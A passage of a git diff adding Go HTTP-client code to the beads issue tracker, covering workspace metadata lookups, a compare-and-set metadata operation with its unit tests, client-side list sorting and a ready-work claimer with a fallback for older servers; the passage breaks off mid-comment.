the per-user state file, not from the server +// (design D4, "Tips GetLocalMetadata/SetLocalMetadata"): tips-shown timestamps +// are per-user UI state and storing them server-side would be the wrong scope. +// A missing key is ("", nil), matching every other backend. +func (s *Store) GetLocalMetadata(_ context.Context, key string) (string, error) { + if s.local == nil { + return "", nil + } + return s.local.get(key) +} + +// SetLocalMetadata writes the same per-user file. It must not error on a store +// with nowhere to write — cmd/bd defers a tip write to PersistentPostRunE and +// treats any error there as fatal (design D3), and an ephemeral `--server-url` +// workspace has no durable .beads to hold the file. Tips are suppressed for +// those invocations, so dropping the write loses nothing a user asked for. +func (s *Store) SetLocalMetadata(_ context.Context, key, value string) error { + if s.local == nil { + return nil + } + return s.local.set(key, value) +} + +// GetMetadata answers the workspace-identity probe from the cached handshake +// (design D4, "validateWorkspaceIdentity"). Serving `_project_id` is what makes +// wrong-server protection actually enforce: cmd/bd swallows a store error here +// into "skip validation", so a refusal would silently disarm the check. +// +// Before the handshake there is nothing to compare, and ("", nil) is the +// documented "new or pre-identity database" answer that skips validation +// without claiming a mismatch. Every other key refuses: no wire operation +// exposes the metadata table, and answering "" for an unknown key would be a +// dropped read dressed as an empty one. +// +// A wrong-server handshake is the one error that must NOT collapse to that +// benign skip (ga-b8ddd.11, Option C): the mismatch carries the id the server +// actually owns, so handing that Got value back is what lets cmd/bd's +// validateWorkspaceIdentity compare it against metadata.json and FIRE the +// identity check — the write is refused, exit 1. What this path does NOT surface +// is the wire ProjectMismatchError's own text: only the Got id survives this +// method, so the server URL, database, repo root and recovery clause it carries +// are discarded here. cmd/bd renders the http-appropriate recovery separately, +// off the RemoteWorkspaceBackend capability (ga-b8ddd.16), rather than from +// this returned string. Any other handshake failure has no identity to offer, +// so it stays the ("", nil) "nothing to compare" skip the caller already treats +// as benign. +func (s *Store) GetMetadata(ctx context.Context, key string) (string, error) { + if key != "_project_id" { + return "", s.unsupported("GetMetadata") + } + snap, err := s.snapshot(ctx) + if err != nil { + var mismatch *wire.ProjectMismatchError + if errors.As(err, &mismatch) { + return mismatch.Got, nil + } + return "", nil + } + if snap == nil { + return "", nil + } + return snap.ProjectId, nil +} diff --git a/internal/httpclient/metadatacas.go b/internal/httpclient/metadatacas.go new file mode 100644 index 000000000..490f8c1ff --- /dev/null +++ b/internal/httpclient/metadatacas.go @@ -0,0 +1,127 @@ +// Contributed by gascity from bd-enterprise (internal/enterprise/httpstore/metadatacas.go@49d1df2f6) +// to OSS beads under the MIT license. +package httpclient + +import ( + "context" + "encoding/json" + "strings" + + "github.com/steveyegge/beads/internal/httpapi/apigen" + "github.com/steveyegge/beads/issueops" +) + +// httpMetadataCAS serves issueops.MetadataCAS from the compareAndSetMetadata +// custom method — the conditional single-key write every coordination protocol +// over the metadata plane is built from. +// +// The MAPPING IS TOTAL: all five members of the role's request have a wire +// member or a path, and both members of its result are published, so nothing +// here refuses on shape and the ledger carries no W- row for this operation. +// What made the port a decision rather than a transcription is the two places +// this operation's shape is unlike every other write on this seam. +// +// A LOST RACE IS A 200. Every other write learns a refusal from a status code; +// here `swapped: false` with the value that refused the swap is the ANSWER, and +// the role says the same thing in the same words — "a mismatch is an answer, +// not a failure". So the verdict travels through the success path and nothing +// in the problem mapper knows about it. There is no 409 to classify, and a +// client that dispatched on the status code would report a lost race as a won +// one. +// +// ABSENCE IS A VALUE, on all three of `expected`, `value` and `current`. An +// omitted member means the key is ABSENT on that side of the transition — which +// is what makes a first-writer-wins acquire (nil → value) and a release +// (value → nil) expressible — while a member present holding `null` means the +// key exists and holds null. The two states are different requests and +// different answers, so nothing on this path may collapse one into the other: +// the request members are pointers on the role's side and `omitempty` raw +// messages on the wire's, and the response's `current` is a BARE +// json.RawMessage rather than a pointer precisely so a present null survives +// the decode (see the server's metadataCASWireValue). +// +// WHAT IS NOT DECIDED HERE, deliberately: the metadata-key syntax, the +// canonical equality rule, and which transitions write. All three are the +// ROLE's, the server routes this request through the same issueops.MetadataCAS +// a local workspace uses, and a second copy of any of them in this client would +// be a second definition. They come back as issueops.ErrValidation, which is +// what the role's contract promises. +type httpMetadataCAS struct { + store *Store + wire WriteWire +} + +var _ issueops.MetadataCAS = (*httpMetadataCAS)(nil) + +// CompareAndSetKey dials POST /v0/beads/issues/{id}:casMetadata. +func (c *httpMetadataCAS) CompareAndSetKey(ctx context.Context, req issueops.CompareAndSetKeyRequest) (issueops.CompareAndSetKeyResult, error) { + if err := requireActor(req.Actor); err != nil { + return issueops.CompareAndSetKeyResult{}, err + } + if err := requireID("issue id", req.IssueID); err != nil { + return issueops.CompareAndSetKeyResult{}, err + } + // The KEY's emptiness is checked here and its SYNTAX is not, and the split + // is the same one requireID makes: an empty key would be sent as a body + // member the server refuses by name, which is a round trip to be told what + // the role's own contract already calls invalid, while the syntax is the + // workspace's rule and belongs to the role that owns the metadata plane. + if strings.TrimSpace(req.Key) == "" { + return issueops.CompareAndSetKeyResult{}, invalid("metadata key is required") + } + + expected, err := casValue("Expected", req.Expected) + if err != nil { + return issueops.CompareAndSetKeyResult{}, err + } + value, err := casValue("Value", req.Value) + if err != nil { + return issueops.CompareAndSetKeyResult{}, err + } + + res, err := c.wire.CompareAndSetMetadata(ctx, req.IssueID, apigen.CompareAndSetMetadataRequest{ + Actor: req.Actor, Key: req.Key, Expected: expected, Value: value, + }) + if err != nil { + return issueops.CompareAndSetKeyResult{}, err + } + return issueops.CompareAndSetKeyResult{Swapped: res.Swapped, Current: casCurrent(res.Current)}, nil +} + +// casValue projects one side of the transition onto its wire member. +// +// NIL STAYS ABSENT, which is the whole of the mapping and the reason it is a +// function: the role spells "the key is absent on this side" as a nil pointer +// and the wire spells it as an omitted member, and `omitempty` omits exactly +// the empty raw message. A present value is COPIED rather than aliased — the +// role promises implementations never write through a caller's request, and +// handing these bytes to a marshaler is the kind of borrow that becomes a write +// when a helper is added. +// +// An EMPTY value is refused rather than sent. It is not a JSON value at all, so +// `omitempty` would silently turn it into the absent member — which is the +// opposite request — and the role calls it ErrValidation too. +func casValue(member string, value *json.RawMessage) (apigen.MetadataValue, error) { + if value == nil { + return nil, nil + } + if err := requireJSON(member, *value); err != nil { + return nil, err + } + return apigen.MetadataValue(append([]byte(nil), (*value)...)), nil +} + +// casCurrent projects the answer's current value back onto the role's optional +// one. nil stays nil, so an absent member is an ABSENT key rather than a null +// one — the same distinction the request side makes, answered the same way. +// +// The bytes are COPIED for the reason a caller needs them to be: Current is fed +// back as the next Expected, and a window onto a decoded response body is not +// something a retry loop should be holding between requests. +func casCurrent(current apigen.MetadataValue) *json.RawMessage { + if current == nil { + return nil + } + value := json.RawMessage(append([]byte(nil), current...)) + return &value +} diff --git a/internal/httpclient/metadatacas_test.go b/internal/httpclient/metadatacas_test.go new file mode 100644 index 000000000..cef74d30d --- /dev/null +++ b/internal/httpclient/metadatacas_test.go @@ -0,0 +1,283 @@ +// Contributed by gascity from bd-enterprise (internal/enterprise/httpstore/metadatacas_test.go@49d1df2f6) +// to OSS beads under the MIT license. +package httpclient + +import ( + "encoding/json" + "errors" + "reflect" + "testing" + + "github.com/steveyegge/beads/internal/httpapi/apigen" + "github.com/steveyegge/beads/issueops" +) + +// The compare-and-set role's own gates. +// +// Two things about this operation are unlike every other write on this seam, +// and both are asserted here rather than left to the served tier: a LOST RACE +// IS A 200, so the verdict is read out of the body of a success; and ABSENCE IS +// A VALUE on three members — `expected`, `value` and `current` — where an +// omitted member means "the key is absent on that side" and a member present +// holding `null` means the key exists and holds null. + +func casRole(t *testing.T, w *stubWire) issueops.MetadataCAS { + t.Helper() + cas, err := stubStore(t, w).MetadataCAS() + if err != nil { + t.Fatalf("MetadataCAS(): %v", err) + } + return cas +} + +func raw(s string) *json.RawMessage { + value := json.RawMessage(s) + return &value +} + +// TestMetadataCASSendsTheTransitionAsAPair is the request half: Expected is the +// value before and Value the value after, and nil on either side means the key +// is ABSENT there — so a first-writer-wins acquire omits `expected` and a +// release omits `value`. +// +// A serializer that dropped an empty member would turn a conditional write into +// a delete, which is the trap the operation's own description opens with. +func TestMetadataCASSendsTheTransitionAsAPair(t *testing.T) { + tests := []struct { + name string + request issueops.CompareAndSetKeyRequest + wantExpected, wantValue string + }{ + { + name: "a first-writer-wins acquire omits expected", + request: issueops.CompareAndSetKeyRequest{ + Actor: "win44", IssueID: "bd-1", Key: "gc.lease", Value: raw(`"win44"`), + }, + wantExpected: "", wantValue: `"win44"`, + }, + { + name: "a release omits value", + request: issueops.CompareAndSetKeyRequest{ + Actor: "win44", IssueID: "bd-1", Key: "gc.lease", Expected: raw(`"win44"`), + }, + wantExpected: `"win44"`, wantValue: "", + }, + { + name: "a hand-off carries both", + request: issueops.CompareAndSetKeyRequest{ + Actor: "win44", IssueID: "bd-1", Key: "gc.lease", + Expected: raw(`"win30"`), Value: raw(`"win44"`), + }, + wantExpected: `"win30"`, wantValue: `"win44"`, + }, + { + name: "a stored null is a PRESENT value on both sides", + request: issueops.CompareAndSetKeyRequest{ + Actor: "win44", IssueID: "bd-1", Key: "gc.lease", + Expected: raw(`null`), Value: raw(`null`), + }, + wantExpected: `null`, wantValue: `null`, + }, + { + // A NUMBER TRAVELS AS THE CALLER'S OWN LITERAL, and on THIS + // operation the stakes are a changed verdict rather than a changed + // value: equality here is canonical but numbers compare as their + // source literal, so `1` and `1.0` do NOT match. A client that + // decoded either side through `any` and re-encoded it would send + // `1` for a caller who wrote `1.0` — and the swap would land where + // the role would have refused it, or be refused where the role + // would have landed it. + // + // The big integer is the second half of the same rule: past 2^53 a + // double cannot hold the value at all, so a re-encode hands the + // server a token NEAR the caller's that is not it. + name: "numbers travel as the caller's own literal, on both sides", + request: issueops.CompareAndSetKeyRequest{ + Actor: "win44", IssueID: "bd-1", Key: "gc.epoch", + Expected: raw(`1.0`), Value: raw(`9007199254740993`), + }, + wantExpected: `1.0`, wantValue: `9007199254740993`, + }, + } + + for _, test := range tests { + t.Run(test.name, func(t *testing.T) { + w := &stubWire{cas: &apigen.CompareAndSetMetadataResponse{Swapped: true}} + if _, err := casRole(t, w).CompareAndSetKey(t.Context(), test.request); err != nil { + t.Fatalf("CompareAndSetKey: %v", err) + } + if got := w.lastCAS.Actor; got != test.request.Actor { + t.Errorf("actor = %q, want %q", got, test.request.Actor) + } + if got := w.lastCAS.Key; got != test.request.Key { + t.Errorf("key = %q, want %q", got, test.request.Key) + } + // Through the marshaler: `omitempty` on a json.RawMessage omits the + // EMPTY one, and what the server reads is the member set of the + // encoded body, not the Go value. + encoded, err := json.Marshal(w.lastCAS) + if err != nil { + t.Fatalf("marshal the request: %v", err) + } + var body map[string]json.RawMessage + if err := json.Unmarshal(encoded, &body); err != nil { + t.Fatalf("re-read the request: %v", err) + } + for member, want := range map[string]string{"expected": test.wantExpected, "value": test.wantValue} { + got, present := body[member] + switch { + case want == "" && present: + t.Errorf("the request carries %q = %s; a nil side of the transition is an ABSENT member", member, got) + case want != "" && !present: + t.Errorf("the request omits %q; omitting it means the key is absent there, which is a different request", member) + case want != "" && string(got) != want: + t.Errorf("%s = %s, want %s", member, got, want) + } + } + }) + } +} + +// TestMetadataCASReadsTheVerdictOutOfASuccess is the response half, and the +// reason this role could not be wired by analogy with its neighbors: a lost +// race is a 200 carrying `swapped: false` and the value that refused the swap. +// A client that dispatched on the status code would report a lost race as a +// won one. +func TestMetadataCASReadsTheVerdictOutOfASuccess(t *testing.T) { + tests := []struct { + name string + response apigen.CompareAndSetMetadataResponse + wantSwap bool + want string + wantNil bool + }{ + { + name: "a lost race is an answer, not a failure", + response: apigen.CompareAndSetMetadataResponse{Swapped: false, Current: apigen.MetadataValue(`"win30"`)}, + wantSwap: false, want: `"win30"`, + }, + { + name: "a landed swap reports the value the row now holds", + response: apigen.CompareAndSetMetadataResponse{Swapped: true, Current: apigen.MetadataValue(`"win44"`)}, + wantSwap: true, want: `"win44"`, + }, + { + name: "an absent current is an ABSENT key", + response: apigen.CompareAndSetMetadataResponse{Swapped: true}, + wantSwap: true, wantNil: true, + }, + { + name: "a present null is a value the key HOLDS", + response: apigen.CompareAndSetMetadataResponse{Swapped: false, Current: apigen.MetadataValue(`null`)}, + wantSwap: false, want: `null`, + }, + } + + for _, test := range tests { + t.Run(test.name, func(t *testing.T) { + response := test.response + w := &stubWire{cas: &response} + result, err := casRole(t, w).CompareAndSetKey(t.Context(), issueops.CompareAndSetKeyRequest{ + Actor: "win44", IssueID: "bd-1", Key: "gc.lease", Value: raw(`"win44"`), + }) + if err != nil { + t.Fatalf("CompareAndSetKey: %v", err) + } + if result.Swapped != test.wantSwap { + t.Errorf("Swapped = %t, want %t", result.Swapped, test.wantSwap) + } + switch { + case test.wantNil && result.Current != nil: + t.Fatalf("Current = %s, want nil: an omitted member is an ABSENT key", *result.Current) + case !test.wantNil && result.Current == nil: + t.Fatalf("Current = nil, want %s: a client that cannot tell a present null from an absent key cannot converge on a null-valued key", test.want) + case !test.wantNil && string(*result.Current) != test.want: + t.Errorf("Current = %s, want %s", *result.Current, test.want) + } + }) + } +} + +// TestMetadataCASRefusesAnUnusableRequestBeforeDialing covers the two refusals +// this layer owns rather than leaving to the server. +// +// Actor and issue id are the shared write rules — an empty id would join to the +// COLLECTION path and turn an operation on one resource into one on all of them +// — and a malformed JSON value cannot go on a JSON wire at all, so it would +// fail inside json.Marshal as a transport fault where the role's contract +// promises a deterministic validation failure. +// +// The KEY's syntax is deliberately NOT decided here: it is the workspace's own +// metadata-key rule, the server's role applies it inside the refusing +// transaction, and a second copy of it in this client would be a second +// definition of which keys a workspace may hold. +func TestMetadataCASRefusesAnUnusableRequestBeforeDialing(t *testing.T) { + for name, request := range map[string]issueops.CompareAndSetKeyRequest{ + "empty actor": {IssueID: "bd-1", Key: "gc.lease"}, + "blank actor": {Actor: " ", IssueID: "bd-1", Key: "gc.lease"}, + "empty issue id": {Actor: "win44", Key: "gc.lease"}, + "malformed expected": { + Actor: "win44", IssueID: "bd-1", Key: "gc.lease", Expected: raw(`{`), + }, + "malformed value": { + Actor: "win44", IssueID: "bd-1", Key: "gc.lease", Value: raw(`nope`), + }, + "an empty expected is not the empty string": { + Actor: "win44", IssueID: "bd-1", Key: "gc.lease", Expected: raw(``), + }, + } { + t.Run(name, func(t *testing.T) { + w := &stubWire{cas: &apigen.CompareAndSetMetadataResponse{Swapped: true}} + result, err := casRole(t, w).CompareAndSetKey(t.Context(), request) + if !errors.Is(err, issueops.ErrValidation) { + t.Fatalf("CompareAndSetKey(%s) = %v, want ErrValidation", name, err) + } + if result.Swapped { + t.Error("a refused request reported Swapped") + } + if len(w.calls) != 0 { + t.Errorf("the refused request dialed %v", w.calls) + } + }) + } +} + +// TestMetadataCASDoesNotWriteThroughTheCallerRequest holds the promise every +// role here makes and this one states twice: "Implementations never mutate +// caller-owned request values: the two raw messages are read, never written +// through." +// +// The request travels as bytes into a marshaler, which is exactly the kind of +// borrow that becomes a write when a helper is added later. +func TestMetadataCASDoesNotWriteThroughTheCallerRequest(t *testing.T) { + expected, value := raw(`"win30"`), raw(`"win44"`) + request := issueops.CompareAndSetKeyRequest{ + Actor: "win44", IssueID: "bd-1", Key: "gc.lease", Expected: expected, Value: value, + } + before := reflect.DeepEqual(request, request) + if !before { + t.Fatal("the request is not comparable to itself") + } + + w := &stubWire{cas: &apigen.CompareAndSetMetadataResponse{Swapped: true, Current: apigen.MetadataValue(`"win44"`)}} + result, err := casRole(t, w).CompareAndSetKey(t.Context(), request) + if err != nil { + t.Fatalf("CompareAndSetKey: %v", err) + } + + if string(*expected) != `"win30"` || string(*value) != `"win44"` { + t.Errorf("the caller's values were written through: expected = %s, value = %s", *expected, *value) + } + if request.Expected != expected || request.Value != value { + t.Error("the request's own pointers were replaced") + } + // And the answer is detached from the transport's buffer for the same + // reason: a caller feeding Current back as the next Expected must not hold + // a window onto a response body the client may reuse. + if result.Current == nil { + t.Fatal("Current is nil") + } + if &(*result.Current)[0] == &w.cas.Current[0] { + t.Error("Current aliases the response body rather than copying it") + } +} diff --git a/internal/httpclient/offrole.go b/internal/httpclient/offrole.go new file mode 100644 index 000000000..30dc3f260 --- /dev/null +++ b/internal/httpclient/offrole.go @@ -0,0 +1,37 @@ +// Contributed by gascity from bd-enterprise (internal/enterprise/httpstore/offrole.go@49d1df2f6) +// to OSS beads under the MIT license. +package httpclient + +// The off-role raw methods design D8 keeps off the unsupported allowlist. They +// are not role accessors — cmd/bd still calls them directly at tip — but each +// has a v0 operation behind it, so refusing them would refuse a command the +// wire can serve. Like the role accessors, they are hand-written and move OUT of +// this file to sit beside the surface they serve the moment their bead wires +// them (precedent resolve.go/bridge.go/vocabulary.go). +// +// This file is now a TOMBSTONE: it holds no methods. It stays because the +// retirement path is worth writing down where it happened. (There is no skip +// list to keep in step: unsupportedgen derives the shell from the methods +// declared on *Store, so a read that moved out of here needed only a +// regeneration.) +// +// The reads this file used to hold are SERVED, each beside the surface it +// belongs to: the four getIssue riders — GetLabels, GetDependenciesWithMetadata, +// GetDependentsWithMetadata and GetIssueComments — in detail_reads.go, and the +// anchored GetDependencyRecords in roles_graph.go beside the EdgeReader role it +// shares its operation with (ga-b8ddd.30). The verbatim-row question their flip +// waited on — whether the wire surfaces unresolved depends_on_id rows the +// GH#5005 `bd dep remove` guard must see — was answered by the dual run in +// served_detail_reads_test.go: it does, so there is no L17 degradation to +// ledger. +// +// The earlier tenants left the same way: SearchIssues and GetConfig to +// resolve.go with the id-resolution probes, the ready bridge and the raw +// GetIssue probe to bridge.go, and the settings, statistics and vocabulary reads +// to vocabulary.go. +// +// Everything NOT here and not in accessors.go, store.go or metadata.go is on the +// generated shell and refuses permanently — including the batch and unanchored +// variants (GetLabelsForIssues, GetDependencyRecordsForIssues, GetDependencies, +// GetDependents, GetNextChildID) and the VersionReconciler, Bootstrapper and +// InitVerifier accessors. diff --git a/internal/httpclient/order.go b/internal/httpclient/order.go new file mode 100644 index 000000000..8dfc39c72 --- /dev/null +++ b/internal/httpclient/order.go @@ -0,0 +1,123 @@ +// Contributed by gascity from bd-enterprise (internal/enterprise/httpstore/order.go@49d1df2f6) +// to OSS beads under the MIT license. +package httpclient + +import ( + "cmp" + "slices" + "strings" + + "github.com/steveyegge/beads/internal/storage/sqlbuild" + "github.com/steveyegge/beads/internal/types" + "github.com/steveyegge/beads/internal/utils" +) + +// The client-side display order (ledger row L2). +// +// A local list is ordered TWICE and the second pass is not redundant: the query +// renders sqlbuild's ORDER BY, and the shared page epilogue then stable-sorts +// the rows it returned by the single display key. The two disagree on purpose — +// the SQL clause carries the tie-break tail (created DESC, id ASC) and the +// epilogue carries the orders SQL cannot express — so an order applied here has +// to be BOTH of them, in that sequence, or the tie order comes out different +// from a local run of the same request. +// +// sqlbuild.Less is imported rather than reimplemented. It is already the +// Go-side mirror of that ORDER BY — the storage layer merges the issue and wisp +// planes with it — so borrowing it is what makes "the client comparator and the +// SQL order cannot drift" true by construction instead of by a golden file. +// Only the epilogue's own comparator is written out below, because it lives in +// internal/workapi, which depguard denies to this package. + +// sortListRows applies the display order a ListRequest asked for to a page the +// wire returned in created order. +func sortListRows(rows []*types.IssueWithCounts, sortBy string, reverse bool) { + slices.SortStableFunc(rows, func(a, b *types.IssueWithCounts) int { + ai, bi := rowIssue(a), rowIssue(b) + switch { + case ai == nil && bi == nil: + return 0 + case ai == nil: + return 1 + case bi == nil: + return -1 + } + switch { + case sqlbuild.Less(ai, bi, sortBy, reverse): + return -1 + case sqlbuild.Less(bi, ai, sortBy, reverse): + return 1 + default: + return 0 + } + }) + if sortBy == "" { + // The epilogue leaves an unnamed order alone, so the SQL order above is + // the whole of it — which is the flagless default no one names and + // everyone sees. + return + } + slices.SortStableFunc(rows, func(a, b *types.IssueWithCounts) int { + ai, bi := rowIssue(a), rowIssue(b) + switch { + case ai == nil && bi == nil: + return 0 + case ai == nil: + return 1 + case bi == nil: + return -1 + } + r := compareIssuesBy(ai, bi, sortBy) + if reverse { + return -r + } + return r + }) +} + +func rowIssue(row *types.IssueWithCounts) *types.Issue { + if row == nil { + return nil + } + return row.Issue +} + +// compareIssuesBy orders two issues by one of `bd list --sort`'s fields. An +// unknown field compares equal, which leaves the underlying order intact. +// +// It is a copy of internal/workapi.CompareIssuesBy, kept honest by +// TestCompareIssuesByMatchesTheSharedComparator rather than by review: the +// depguard rule that keeps the work-query builders out of this package takes +// the comparator with them, and a display order that disagreed with the local +// one by a single tie would show up as a reordered page and nothing else. +func compareIssuesBy(a, b *types.Issue, sortBy string) int { + switch sortBy { + case "priority": + return cmp.Compare(a.Priority, b.Priority) + case "created": + return b.CreatedAt.Compare(a.CreatedAt) + case "updated": + return b.UpdatedAt.Compare(a.UpdatedAt) + case "closed": + switch { + case a.ClosedAt == nil && b.ClosedAt == nil: + return 0 + case a.ClosedAt == nil: + return 1 + case b.ClosedAt == nil: + return -1 + } + return b.ClosedAt.Compare(*a.ClosedAt) + case "status": + return cmp.Compare(a.Status, b.Status) + case "id": + return utils.NaturalCompareIDs(a.ID, b.ID) + case "title": + return cmp.Compare(strings.ToLower(a.Title), strings.ToLower(b.Title)) + case "type": + return cmp.Compare(a.IssueType, b.IssueType) + case "assignee": + return cmp.Compare(a.Assignee, b.Assignee) + } + return 0 +} diff --git a/internal/httpclient/race_detector_off_test.go b/internal/httpclient/race_detector_off_test.go new file mode 100644 index 000000000..b44ed1c75 --- /dev/null +++ b/internal/httpclient/race_detector_off_test.go @@ -0,0 +1,6 @@ +//go:build cgo && !race + +package httpclient + +// raceEnabled is false in non-race builds; see race_detector_on_test.go. +const raceEnabled = false diff --git a/internal/httpclient/race_detector_on_test.go b/internal/httpclient/race_detector_on_test.go new file mode 100644 index 000000000..802bed86c --- /dev/null +++ b/internal/httpclient/race_detector_on_test.go @@ -0,0 +1,13 @@ +//go:build cgo && race + +package httpclient + +// raceEnabled reports whether the test binary was built with the race +// detector (-race), as the embedded lane's httpclient_served_test is. The +// served tier stands its `bd serve` handler up over the in-process embedded +// Dolt engine, whose own goroutine/lock machinery the detector instruments +// (see internal/storage/embeddeddolt/race_detector_on_test.go), so a large +// write that takes seconds without it can outlast the client's per-request +// timeout with it. The pair carries `cgo` like that package's: its consumers +// are served_*_test.go files, which build only under cgo. +const raceEnabled = true diff --git a/internal/httpclient/readyclaimer.go b/internal/httpclient/readyclaimer.go new file mode 100644 index 000000000..5d0907372 --- /dev/null +++ b/internal/httpclient/readyclaimer.go @@ -0,0 +1,290 @@ +// Contributed by gascity from bd-enterprise (internal/enterprise/httpstore/readyclaimer.go@49d1df2f6) +// to OSS beads under the MIT license. +package httpclient + +import ( + "context" + "errors" + "fmt" + "slices" + + "github.com/steveyegge/beads/internal/httpapi/apigen" + "github.com/steveyegge/beads/internal/httpclient/encode" + "github.com/steveyegge/beads/internal/httpclient/wire" + storageops "github.com/steveyegge/beads/internal/storage/issueops" + "github.com/steveyegge/beads/internal/types" + "github.com/steveyegge/beads/issueops" +) + +// readyClaimPage is how many ready rows one DOWN-LEVEL attempt looks at. +// +// The local role does this in ONE transaction with an unbounded scan; a server +// too old to advertise issues.claimNext leaves the composition below no choice +// but a window, and the choice is between wasted rows and wasted round trips. +// Twenty-five is a page a contended front survives — losing all of it takes +// twenty-five simultaneous winners — while staying an order of magnitude under +// the server's own default ready limit, so a claim never drags a full listing +// across the wire. +const readyClaimPage = 25 + +// httpReadyClaimer serves issueops.ReadyClaimer, on the wire's claimNext +// operation where the server advertises it and by composing a listing and a +// claim where it does not (design D8 row 4). +// +// WHERE THE WIRE CARRIES issues.claimNext, the whole role is one call: the +// filter travels as the query string GET /v0/beads/ready's own decode reads, the +// actor travels as the body, and the server's role does the selection, the +// compare-and-set and the hydration inside ONE transaction. That is the +// operation this role was always waiting for — every clause of the contract that +// the composition could only approximate is simply true of it. +// +// WHERE IT DOES NOT — a server older than upstream #5510 — the composition +// survives unchanged, because `bd ready --claim` worked against those servers +// before this port and refusing it now would be a regression dressed as +// progress. It is the same posture BatchCloser takes toward issues.batchClose, +// and it keeps L14 describing shipped behavior rather than history: the three +// residues are the DOWN-LEVEL leg's, and none of them survives on the served +// one. +// +// - the ready-at-fetch / claim-at-dial window: a row that gained a blocker +// between the listing and the claim can still be claimed, which the local +// one-transaction role can never do; +// - a false empty under contention: after the bounded refetch below, a front +// that was never actually empty is reported as lost races — an ERROR +// distinct from the nil-Claimed nil-error answer an empty front earns, so a +// polling agent is never told "nothing to do" about work it merely lost; +// - the claimed row's cardinalities come from the READY PAGE rather than from +// the claiming transaction. See the hydration note on composedClaim below. +type httpReadyClaimer struct { + store *Store + wire WriteWire +} + +var _ issueops.ReadyClaimer = (*httpReadyClaimer)(nil) + +// ErrClaimRacesLost reports that every candidate this claim looked at was taken +// by someone else before it could take one. It is deliberately NOT the empty +// front: the queue had work, and re-running is the recovery. +var ErrClaimRacesLost = errors.New("every ready candidate was claimed by someone else") + +// ClaimRacesLostError names how many races were lost and where, because "try +// again" without a count cannot be told from a broken claim path. +type ClaimRacesLostError struct { + Actor string + Attempts int + ServerURL string +} + +func (e *ClaimRacesLostError) Error() string { + return fmt.Sprintf("lost %d races for ready work on bd serve at %s; re-run to take the next one", + e.Attempts, e.ServerURL) +} + +func (e *ClaimRacesLostError) Unwrap() error { return ErrClaimRacesLost } + +// ClaimNext takes the next ready row the filter admits. +// +// The filter is the reader's own vocabulary and is encoded by the same table the +// listing uses on BOTH legs, so the claim asks exactly the question `bd ready` +// shows — an inexpressible member refuses there rather than widening the +// candidate set here. +func (r *httpReadyClaimer) ClaimNext(ctx context.Context, req issueops.ClaimNextRequest) (result issueops.ClaimNextResult, err error) { + // Write-side parity with reads: decorates a bare *encode.RefusedError — + // whichever leg raised it, serveClaimNext's encode.ClaimNextParams or + // composeClaimNext's encode.ReadyParams — into *InexpressibleError so + // errors.As(err, &unsupported) reaches *storage.ErrUnsupported, same as + // inexpressible does for a read role. Both legs return directly from this + // method's own return statements, so one defer here catches both. + defer func() { err = r.store.inexpressible("ReadyClaimer.ClaimNext", err) }() + // The role's own request rules, taken from the one place every ReadyClaimer + // shares them rather than restated here, and run BEFORE the leg is chosen so + // both legs refuse the same set. Restating them is how this leg drifted: + // upstream added the Brief refusal to the shared validator and this copy + // kept accepting a projection on a MUTATING call — the field whose whole job + // is to tell a caller it got less than it asked for, answering that it got + // everything. + if err := storageops.ValidateClaimNextRequest(req); err != nil { + return issueops.ClaimNextResult{}, err + } + + served, err := r.servesClaimNext(ctx) + if err != nil { + return issueops.ClaimNextResult{}, err + } + if served { + return r.serveClaimNext(ctx, req) + } + return r.composeClaimNext(ctx, req) +} + +// servesClaimNext reports whether the server advertises issues.claimNext. It +// forces the one lazy handshake the store already owns and reads the cached +// capability list, so the check costs at most one round trip and none once the +// handshake has run — servesBatchClose's shape exactly, for the same question. +func (r *httpReadyClaimer) servesClaimNext(ctx context.Context) (bool, error) { + snap, err := r.store.snapshot(ctx) + if err != nil { + return false, err + } + if snap == nil { + return false, nil + } + token, _ := wire.CapabilityFor(wire.OpClaimNextIssue) + return slices.Contains(snap.Capabilities, token), nil +} + +// serveClaimNext sends the whole request on one issues:claimNext call. +// +// THE ANSWER IS THE ROLE'S RESULT ALREADY. `claimed` is pinned to +// types.IssueWithCounts by the document, hydrated inside the transaction that +// committed the claim, so it passes through unrewritten — no counts to stitch, +// no second read to make, and nothing for this client to recompute. A client +// that rebuilt the row here would be inventing a hydration the wire had already +// done correctly. +// +// AN ABSENT `claimed` IS A NORMAL OUTCOME and is the whole signal: there is no +// boolean beside it, so a drained front is a 200 whose body is `{}`. That +// decodes to a nil pointer, which is exactly what ClaimNextResult means by "nil +// Claimed, nil error, nothing written". +func (r *httpReadyClaimer) serveClaimNext(ctx context.Context, req issueops.ClaimNextRequest) (issueops.ClaimNextResult, error) { + params, err := encode.ClaimNextParams(req.Filter) + if err != nil { + return issueops.ClaimNextResult{}, err + } + res, err := r.wire.ClaimNextIssue(ctx, params, apigen.ClaimNextRequest{Actor: req.Actor}) + if err != nil { + return issueops.ClaimNextResult{}, err + } + if err := checkServedClaimNext(res.Claimed); err != nil { + return issueops.ClaimNextResult{}, err + } + return issueops.ClaimNextResult{Claimed: res.Claimed}, nil +} + +// checkServedClaimNext holds a served `claimed` to the role contract, and it is +// ONE rule where batchClose's checkServedClaim is three. +// +// A CLAIM CARRYING NO ROW is the rule both share, and it is here for the harder +// of the two reasons that function gives. types.IssueWithCounts holds the row as +// an EMBEDDED POINTER, so an object carrying the cardinalities and none of the +// issue's own members decodes to a non-nil claim whose Issue is nil — a shape +// nothing on the wire tells apart from a claim that landed, and one nothing +// downstream is written to expect. Passing it through is not a wrong answer but +// a PANIC in the caller: `bd ready --claim` dereferences the claimed row's ID +// with no nil check, and the hook decorator above this store fires the +// workspace's on_update hook on the member's PRESENCE alone. +// +// THE OTHER TWO RULES DO NOT APPLY HERE, and the difference is the operation's +// shape rather than a laxer standard. batchClose refuses a claim the request +// never ASKED for and a claim for a batch that closed NOTHING, because there the +// claim is an optional rider on a different act: both preconditions are facts +// about the request and its outcomes, and both are checkable. This operation IS +// the claim — asking is what calling it means, and there is no other outcome for +// it to be earned by — so restating either would be asserting a tautology, and a +// rule that cannot fail is a rule that teaches a later reader the wrong thing +// about what is being checked. +// +// THE CLAIMED ID IS CHECKED AGAINST NOTHING, for exactly the reason it is not +// checked there: the answer names no id the caller enumerated. It names the next +// READY row, chosen by a predicate this client cannot evaluate without running +// the selection the operation exists to keep inside one transaction. +func checkServedClaimNext(claimed *types.IssueWithCounts) error { + if claimed == nil { + return nil + } + if claimed.Issue == nil { + return fmt.Errorf("bd serve returned a claim carrying no issue") + } + return nil +} + +// composeClaimNext is the DOWN-LEVEL leg: one listReadyWork page, then claimIssue +// down it until one lands. It is reached only when issues.claimNext is absent, +// and L14 is the ledger row for 